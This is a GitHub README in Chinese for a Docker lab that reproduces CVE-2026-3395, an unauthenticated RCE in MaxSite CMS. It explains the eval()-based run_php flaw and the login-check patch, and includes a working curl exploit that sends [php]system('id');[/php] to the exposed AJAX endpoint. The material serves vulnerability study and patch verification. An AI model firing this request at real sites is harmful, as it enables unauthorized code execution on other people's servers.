rootdirective-sec/CVE-2026-3395-Lab

GitHub: rootdirective-sec/CVE-2026-3395-Lab

CVE-2026-3395 漏洞复现实验环境,用于研究和学习 MaxSite CMS 未授权远程代码执行漏洞的成因与修复方案。

Stars: 0 | Forks: 0

# CVE-2026-3395 — MaxSite CMS 未授权 RCE 实验环境 本仓库仅供教育和研究目的使用。 所有测试必须在本地 Docker 实验环境中进行。 请勿将此设置部署到公共或生产系统。 ## 概述 CVE-2026-3395 影响 MaxSite CMS,允许未经授权访问管理 AJAX 端点。当启用 `run_php` 插件时,用户输入可以通过 CMS hook 系统作为 PHP 代码执行,这可能导致远程代码执行 (RCE)。 本仓库包含: * 一个漏洞版本(补丁前提交) * 一个已修复版本(补丁后提交) * 用于复现的 Docker 实验环境 * 安全的影响证明演示 ## 漏洞概述 漏洞端点位于: ``` application/maxsite/admin/plugins/editor_markitup/preview-ajax.php ``` 在漏洞版本中: * 该端点可以在没有身份验证的情况下访问 * 用户输入(`POST data`)通过 `mso_hook()` 传递 * `run_php` 插件处理 `[php]...[/php]` 代码块 * 该插件使用 `eval()` 执行其中的代码 如果启用了 `run_php`,这将导致未授权的远程代码执行。 修复版本添加了: ``` if (!is_login()) die('no login'); mso_checkreferer(); ``` 这将访问限制为仅限经过身份验证的用户。 ## Docker 实验环境设置 此实验环境构建两个环境: | 环境 | 端口 | | ---------- | ---- | | 漏洞版本 | 8081 | | 已修复版本 | 8082 | ## 系统要求 * Docker * Docker Compose v2 ### 1. 构建并启动 ``` docker compose up -d --build ``` 这将: * 构建两个镜像 * 启动数据库 * 自动运行 CMS 安装程序 * 在实验环境配置中启用 `run_php` ### 2. 验证安装 在浏览器中打开: ``` http://localhost:8081 (Vulnerable) http://localhost:8082 (Patched) ``` 两个实例都应成功加载。 ![实验环境运行中](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/3aebd9f807215129.png) ## 漏洞证明(仅限实验环境) AJAX 路由使用 base64 编码的路径。 以下内容的 Base64: ``` admin/plugins/editor_markitup/preview-ajax.php ``` 是: ``` YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA== ``` ### 漏洞实例测试 ``` curl -X POST "http://localhost:8081/ajax/YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==" \ -H "X-Requested-With: XMLHttpRequest" \ -H "Referer: http://localhost:8081/" \ --data-urlencode "data=[php]system('id');[/php]" ``` ![漏洞 RCE 输出](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/bcc9d1f9e0215131.png) ### 已修复实例测试 ``` curl -X POST "http://localhost:8082/ajax/YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==" \ -H "X-Requested-With: XMLHttpRequest" \ -H "Referer: http://localhost:8082/" \ --data-urlencode "data=[php]system('id');[/php]" ``` 预期结果: ``` no login ``` ![已修复访问控制](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/2753de38b0215132.png) ## 停止实验环境 要停止容器: ``` docker compose down -v ``` ## 免责声明 仅在隔离环境中使用本项目进行研究和学习。 ## 参考 * 公开报告:[https://github.com/mbanyamer/CVE-2026-3395-MaxSite-CMS-Unauthenticated-RCE/](https://github.com/mbanyamer/CVE-2026-3395-MaxSite-CMS-Unauthenticated-RCE/) * VulDB 条目:[https://vuldb.com/?submit.762169](https://vuldb.com/?submit.762169) * 官方补丁提交:[https://github.com/maxsite/cms/commit/08937a3c5d672a242d68f53e9fccf8a748820ef3](https://github.com/maxsite/cms/commit/08937a3c5d672a242d68f53e9fccf8a748820ef3)
标签:AJAX 接口漏洞, CISA项目, CVE-2026-3395, Docker 靶场, eval 注入, MaxSite CMS, PHP 代码执行, RCE, run_php 插件, Web 安全, 未授权访问, 本地安全测试, 漏洞修复, 漏洞复现, 版权保护, 编程工具, 网络安全培训, 认证绕过, 请求拦截, 远程代码执行, 高危漏洞